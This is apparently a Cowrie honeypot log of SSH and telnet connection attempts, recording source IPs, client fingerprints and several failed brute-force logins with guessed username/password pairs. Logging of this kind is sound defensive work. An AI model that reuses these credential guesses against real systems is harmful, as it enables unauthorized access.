{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:02.549821Z","src_ip":"173.249.6.197","session":"f7c1cc1e6187","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:02.642616Z","src_ip":"173.249.6.197","session":"f7c1cc1e6187","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qaz123!@#","message":"login attempt [ubuntu/Qaz123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:03.049559Z","src_ip":"173.249.6.197","session":"f7c1cc1e6187","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":56542,"dst_ip":"10.17.0.5","dst_port":22,"session":"715a788da965","protocol":"ssh","message":"New connection: 185.216.119.134:56542 (10.17.0.5:22) [session: 715a788da965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:03.913208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:03.918386Z","src_ip":"185.216.119.134","session":"715a788da965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:04.145015Z","src_ip":"173.249.6.197","session":"f7c1cc1e6187","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:04.448381Z","src_ip":"185.216.119.134","session":"715a788da965","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1sampai6","message":"login attempt [root/1sampai6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:06.141674Z","src_ip":"185.216.119.134","session":"715a788da965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:07.358755Z","src_ip":"185.216.119.134","session":"715a788da965","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37282,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9e5292f94c5","protocol":"ssh","message":"New connection: 159.203.92.129:37282 (159.203.135.109:22) [session: e9e5292f94c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:08.366461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:08.371756Z","src_ip":"159.203.92.129","session":"e9e5292f94c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:08.377928Z","src_ip":"159.203.92.129","session":"e9e5292f94c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ZXDSL","password":"ZXDSL","message":"login attempt [ZXDSL/ZXDSL] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:08.394898Z","src_ip":"159.203.92.129","session":"e9e5292f94c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:09.414919Z","src_ip":"159.203.92.129","session":"e9e5292f94c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.51.7","src_port":47770,"dst_ip":"10.17.0.5","dst_port":22,"session":"450a008eb2bd","protocol":"ssh","message":"New connection: 196.189.51.7:47770 (10.17.0.5:22) [session: 450a008eb2bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:09.902481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:09.907447Z","src_ip":"196.189.51.7","session":"450a008eb2bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:10.078631Z","src_ip":"196.189.51.7","session":"450a008eb2bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"admin124","message":"login attempt [ftpuser/admin124] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:10.791358Z","src_ip":"196.189.51.7","session":"450a008eb2bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:11.963263Z","src_ip":"196.189.51.7","session":"450a008eb2bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.141.175.198","src_port":35730,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bdc1b90d2f4","protocol":"telnet","message":"New connection: 95.141.175.198:35730 (159.203.135.109:23) [session: 0bdc1b90d2f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:19.314979Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.141.175.198","src_port":36428,"dst_ip":"159.203.135.109","dst_port":23,"session":"b435d9027006","protocol":"telnet","message":"New connection: 95.141.175.198:36428 (159.203.135.109:23) [session: b435d9027006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:28.222464Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.141.175.198","src_port":36544,"dst_ip":"159.203.135.109","dst_port":23,"session":"f72f40fd573e","protocol":"telnet","message":"New connection: 95.141.175.198:36544 (159.203.135.109:23) [session: f72f40fd573e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:29.217339Z"}
{"eventid":"cowrie.session.closed","duration":31.133919715881348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:33.366126Z","src_ip":"95.141.175.198","session":"92bfcd0e7af6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.121.56.114","src_port":42886,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b0bb1abab15","protocol":"telnet","message":"New connection: 91.121.56.114:42886 (159.203.135.109:23) [session: 4b0bb1abab15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:38.869543Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":5505,"dst_ip":"159.203.135.109","dst_port":22,"session":"75e86e281484","protocol":"ssh","message":"New connection: 2.57.121.112:5505 (159.203.135.109:22) [session: 75e86e281484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:39.332945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:39.337505Z","src_ip":"2.57.121.112","session":"75e86e281484","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:39.437314Z","src_ip":"2.57.121.112","session":"75e86e281484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1Tigger","message":"login attempt [admin/1Tigger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:39.910281Z","src_ip":"2.57.121.112","session":"75e86e281484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1Superma","message":"login attempt [admin/1Superma] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:41.012424Z","src_ip":"2.57.121.112","session":"75e86e281484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1Samanth","message":"login attempt [admin/1Samanth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:42.114576Z","src_ip":"2.57.121.112","session":"75e86e281484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1Robert","message":"login attempt [admin/1Robert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:43.217916Z","src_ip":"2.57.121.112","session":"75e86e281484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qwerty1","message":"login attempt [admin/1qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:44.321107Z","src_ip":"2.57.121.112","session":"75e86e281484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:45.424786Z","src_ip":"2.57.121.112","session":"75e86e281484","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.121.56.114","src_port":41750,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bec652872e6","protocol":"telnet","message":"New connection: 91.121.56.114:41750 (159.203.135.109:23) [session: 5bec652872e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:46.061330Z"}
{"eventid":"cowrie.session.closed","duration":30.778663635253906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:50.093506Z","src_ip":"95.141.175.198","session":"0bdc1b90d2f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47426,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a3ba9ff0f55","protocol":"ssh","message":"New connection: 159.203.92.129:47426 (159.203.135.109:22) [session: 7a3ba9ff0f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:50.542686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:50.547387Z","src_ip":"159.203.92.129","session":"7a3ba9ff0f55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:50.552351Z","src_ip":"159.203.92.129","session":"7a3ba9ff0f55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Zhanghua","password":"0","message":"login attempt [Zhanghua/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:50.569850Z","src_ip":"159.203.92.129","session":"7a3ba9ff0f55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:51.577495Z","src_ip":"159.203.92.129","session":"7a3ba9ff0f55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.840550899505615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:59.062927Z","src_ip":"95.141.175.198","session":"b435d9027006","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":53016,"dst_ip":"159.203.135.109","dst_port":22,"session":"f73445202b3b","protocol":"ssh","message":"New connection: 80.94.92.186:53016 (159.203.135.109:22) [session: f73445202b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:59.885216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:54:59.941753Z","src_ip":"80.94.92.186","session":"f73445202b3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:00.054684Z","src_ip":"80.94.92.186","session":"f73445202b3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.88978934288025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:00.107022Z","src_ip":"95.141.175.198","session":"f72f40fd573e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"mapr","password":"mapr","message":"login attempt [mapr/mapr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:00.843488Z","src_ip":"80.94.92.186","session":"f73445202b3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:01.954480Z","src_ip":"80.94.92.186","session":"f73445202b3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.121.56.114","src_port":49928,"dst_ip":"159.203.135.109","dst_port":23,"session":"88565fcadb6c","protocol":"telnet","message":"New connection: 91.121.56.114:49928 (159.203.135.109:23) [session: 88565fcadb6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:04.759644Z"}
